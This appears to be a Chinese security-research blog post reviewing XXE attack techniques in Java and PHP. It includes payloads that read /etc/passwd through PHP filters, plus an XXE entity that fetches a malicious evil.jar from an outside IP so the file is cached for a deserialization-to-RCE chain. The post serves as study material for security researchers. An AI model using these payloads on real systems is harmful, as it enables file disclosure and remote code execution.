XXE在Java场景下的一些攻击面
date
Jul 8, 2022
slug
xxe-in-java
status
Published
tags
Java安全
安全研究
summary
最近看到一篇文章内容,想到自己好想忘记了XXE的一些知识点,做一个回顾
type
Post
关于XXE的各种利用方法:
Java场景下XXE的触发流程:Java-XXE-总结 (lmxspace.com)
总结一下这几篇文章里面提到几个注意点:
- 外部实体是引起XXE攻击的关键点
- XML元素中CDATA的妙处——防止解析出错
- 读取文件内容过大时可以在PHP场景下可以使用以下filter处理:
压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
- jar协议处理文件的流程:
(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
- Java 场景下可以使用
netdoc:/
协议能代替file:///
进行列目录的操作
- PHP场景下还有一个
expect
协议可以直接触发RCE(需要expect扩展)
回顾这个攻击面主要是因为下面这篇文章内容:
利用XXE生成缓存文件—>读取缓存文件内容—>触发反序列化—>RCE
Java场景下利用XXE生成文件根据上面提到的流程需要解决几个点:
- 保持文件的持久化
可以使用这个工具:
这个工具可以在上传相关文件内容的时候,是可以卡住的,不然相关的tmp文件会在解压之后删除掉
java BlockingServer 9090 test.jar
test.jar 就是生成的恶意文件内容,里面的文件内容,这个内容会在服务器上缓存,然后通过jar协议触发缓存,保存这个文件内容
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "jar:http://172.18.193.189:9090/evil.jar!/xxx.class">
]>
<doc>&xxe;</doc>
注意这里的payload最后的内容是压缩包里面的内容,可以存在,也可以不存在,因为触发之后缓存的是jar包的内容,如果是不存在的内容的话会报错,这个报错就是缓存文件的路径,这也给利用提供一个思路
- 需要了解到生成文件的文件名以及所在目录
一般需要配合一些报错才会触发这个效果,一般Java的报错会回显生成文件的路径,如果不是压缩包里面的内容的话,就会throw出来缓存文件的路径
这个文件名一般是以tmp后缀结尾jar开头